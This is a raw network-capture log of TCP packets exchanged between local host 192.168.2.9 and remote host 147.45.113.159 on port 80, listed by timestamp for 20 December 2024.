Dec 20, 2024 17:13:42.545262098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.545280933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.545308113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.545599937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.545649052 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.545737028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.546605110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.546655893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.546742916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.547264099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.547281981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.547322035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.548024893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.548084021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.548090935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.548911095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.548963070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.548981905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.549680948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.549729109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.549786091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.550462008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.550503969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.550582886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.551079988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.551099062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.551122904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.551934958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.551953077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.551979065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.552639961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.552683115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.553312063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.553461075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.553478956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.553508043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.554168940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.554214001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.554300070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.580611944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.580713987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.580763102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.580892086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.580940008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.581007004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.581696987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.581741095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.581893921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.582648993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.582712889 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.652317047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.652439117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.652477980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.652686119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.652771950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.652815104 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.653476000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.653703928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.653748989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.654278040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.654330969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.654385090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.655122042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.655227900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.655265093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.655857086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.656018019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.656054974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.656658888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.656735897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.656779051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.657403946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.657546997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.657592058 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.658207893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.658827066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.658873081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.659015894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.659033060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.659073114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.659791946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.660000086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.660073996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.660501003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.660584927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.660626888 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.661348104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.661526918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.661571026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.662221909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.662297010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.662337065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.662899971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.663048983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.663089991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.663661957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.663755894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.663795948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.664443016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.664681911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.664722919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.665378094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.665458918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.665502071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.666064024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.666183949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.666225910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.666831017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.666944027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.666985989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.667671919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.667735100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.667790890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.668521881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.668661118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.668709040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.669785976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.669821024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.669859886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.670397043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.670511007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.670552015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.670916080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.670999050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.671036005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.671566010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.671622992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.671660900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.672281981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.672440052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.672478914 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.673048019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.673203945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.673240900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.673841000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.674005985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.674051046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.674650908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.674762011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.674801111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.699492931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.731566906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.731616974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.731673002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.731704950 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.731755972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.731802940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.732508898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.732594967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.732636929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.733195066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.733261108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.733298063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.733963013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.734119892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.734155893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.734778881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.734868050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.734905005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.735464096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.735516071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.735552073 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.736278057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.736361980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.736402035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.737014055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.737097025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.737138987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.737724066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.737926960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.737967968 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.738512993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.738652945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.738711119 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.739409924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.739447117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.739491940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.740056992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.740179062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.740230083 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.740298986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.740875959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.741044044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.741101027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.741743088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.741938114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.741986036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.742460012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.742640018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.742681980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.743170977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.743391991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.743444920 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.744116068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.744153023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.744193077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.744812012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.744910955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.744952917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.745517015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.745687008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.745735884 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.746292114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.746381998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.746413946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.746468067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.759169102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.772593975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.772712946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.772758007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.772954941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.773180962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.773221016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.773224115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.773859978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.773900032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.774020910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.774648905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.774693012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.844507933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.844531059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.844573975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.844863892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.844882965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.844934940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.845690012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.845705986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.845757961 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.846333027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.846476078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.846513987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.847271919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.847471952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.847511053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.848130941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.848151922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.848186970 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.848789930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.848805904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.848845959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.849531889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.849549055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.849595070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.850336075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.850352049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.850403070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.851147890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.851164103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.851211071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.851958036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.851974964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.852013111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.852696896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.852713108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.852750063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.853425026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.853441000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.853480101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.854226112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.854284048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.854322910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.855015993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.855031013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.855070114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.855787992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.856030941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.856069088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.856714010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.857099056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.857141018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.857367039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.857511997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.857553959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.858062983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.858222008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.858262062 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.858891964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.858948946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.858987093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.859635115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.859926939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.859967947 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.860421896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.860582113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.860620975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.861208916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.861470938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.861522913 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.862030983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.862046957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.862083912 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.862797976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.862813950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.862854958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.863539934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.863636017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.863681078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.864357948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.864373922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.864409924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.865104914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.865355015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.865396023 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.865920067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.866030931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.866070986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.866699934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.867034912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.867077112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.893894911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.924046993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.924096107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.924134970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.924168110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.924226046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.924276114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.924936056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.925035000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.925098896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.925761938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.925929070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.925986052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.925993919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.926690102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.926747084 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.926819086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.927474022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.927529097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.927673101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.928309917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.928358078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.928368092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.929122925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.929157972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.929164886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.929810047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.929857016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:42.929933071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.930670977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:42.930707932 CET	80	49711	147.45.113.159	192.168.2.9
